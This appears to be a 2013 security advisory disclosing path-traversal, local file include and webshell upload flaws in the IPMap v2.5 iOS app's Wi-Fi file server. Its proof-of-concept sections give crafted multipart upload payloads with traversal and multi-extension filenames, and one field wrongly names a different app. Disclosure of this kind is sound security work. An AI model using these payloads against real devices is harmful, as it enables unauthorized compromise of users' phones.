Title:
======
IPMap v2.5 iPad iPhone - Arbitrary File Upload Web Vulnerabilities
Date:
=====
2013-02-18
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=866
VL-ID:
=====
866
Common Vulnerability Scoring System:
====================================
6.3
Introduction:
=============
IPMap - IP Address Lookup Details & HTTP Wireless File Sharing with latest WorldWide IP database & FREE Monthly update.
Accuracy: Over 99.8% on a country level and 83% on a city level for the US within a 25 mile radius.
Features:
Auto Detect & Lookup
Your Real IP address
IP address Hostname
IP address Country Code
... ... ...
IP address Area Code
IP location Map
HTTP Wireless File Sharing
iTunes File Sync
Web Upload File Support
Customizable Background from your Photos Album
(Copy of the Homepage: https://itunes.apple.com/us/app/ipmap-ip-address-lookup-details/id416041538 )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered an arbitrary file upload vulnerability in the mobile IPMap v2.5 app for the apple ipad & iphone.
Report-Timeline:
================
2013-02-18: Public Disclosure
Status:
========
Published
Affected Products:
==================
Apple AppStore
Product: IPMap - iPad iPhone 2.5
Exploitation-Technique:
=======================
Remote
Severity:
=========
Critical
Details:
========
A local file include and arbitrary file upload web vulnerability via POST request method is detected in the mobile IPMap v2.5 app
for the apple ipad & iphone. The vulnerability allows remote attackers via POST method to inject local app webserver folders to
request unauthorized local webserver files.
1.1
The main vulnerbility is located in the upload file script of the webserver (http://192.168.0.10:6123/) when processing to load a manipulated
filename via POST request method. The execution of the injected path or file request will occur when the attacker is watching the file index listing
of the wifi web application web-server.
1.2
Remote attackers can also unauthorized implement mobile webshells by using multiple file extensions (pentest.php.js.gif) when processing to
upload (submit) via POST request method. The attacker uploads a file with a double extension or multiple extensions and access the file in the
secound step via directory webserver dir listing to compromise the apple iphone or ipad.
Exploitation of the local file include web vulnerability does not require user interaction and also no privileged user account.
Successful exploitation of the web vulnerabilities results in app/service manipulation and ipad or iphone compromise via file
include or unauthorized file (webshell) upload attacks.
Vulnerable Application(s):
[+] WiFilet v1.2 - ITunes or AppStore (Apple)
Vulnerable Module(s):
[+] File Upload via Submit (Web Server) [Remote]
Vulnerable Parameter(s):
[+] file > filename
Affected Module(s):
[+] File Dir Index - Listing
Proof of Concept:
=================
Both vulnerabilities can be exploited by remote attackers without privileged application user account and also without required user interaction.
For demonstration or reproduce ...
1.1
PoC: (POST)
-----------------------------307341202725627
Content-Disposition: form-data; name="file"; filename="../../../../cmd>home>tmp%00<'.png"
Content-Type: image/png
����
Review: File Dir Listing
<html><head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"><title>IPMap</title>
<style>body { background-color:#f0f7fd; font-family:Tahoma,Arial,Helvetica,sans-serif;
font-size:18x; padding:15px; margin-left:15%; margin-right:15%; } </style></head><body>
<h2 style="background-color:#6897ff; margin:0; color:#fff; padding:5px 10px; border: 1px outset #aaa;border-bottom: 0px;">IPMap</h2>
<h4 style="background-color:#6897ff;margin:0; color:#fff; padding:0px 10px 8px 10px; border: 1px outset #aaa; border-top: 0px;">
The following files are hosted live from the iPhone's Docs folder.</h4><p><table style="text-align:center; border-color:#9bc0d2;
background:#f0f7fd; color:#4e697a; margin:0 auto;" border="1" cellpadding="0" cellspacing="0"><tbody><tr height="30"><td width="400">
<strong>File Name</strong></td><td width="400"><strong>File Info</strong></td></tr><tr height="30">
<td><a href="http://192.168.0.10:6123/../../../../cmd>home>tmp%00<'">%20%20%20%20&"><iframe src="../../../../cmd>home>tmp%00<'">%20%20%20%20&">
%20%20%20%20</a></td><td>(27.3 Kb, 2013-02-07 07:00:31 +0000)</td></tr></table></p><form action=""
method="post" enctype="multipart/form-data" name="form1"
id="form1"><table border="0" cellpadding="0" cellspacing="0"
style="text-align:center; margin:0 auto;"><tr
height="50"><td width="400"><label>upload file<input
type="file" name="file" id="file" /></label></td><td
width="400"><label><input type="submit" name="button"
id="button" value="Submit" /> <font size="-1">* Please do NOT
upload index.htm or
index.html</font></label></td></tr></table></form></body></html>
</iframe></a></td></tr></tbody></table></p></body></html>
1.2
PoC: (POST)
-----------------------------307341202725627
Content-Disposition: form-data; name="file"; filename="pentest.php.js.html.htm.xml.png"
Content-Type: image/gif
Reference(s):
http://192.168.0.10:6123/
Risk:
=====
The security risk of the arbitrary file upload web vulnerability via POST request method is estimated as critical.
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
Disclaimer:
===========
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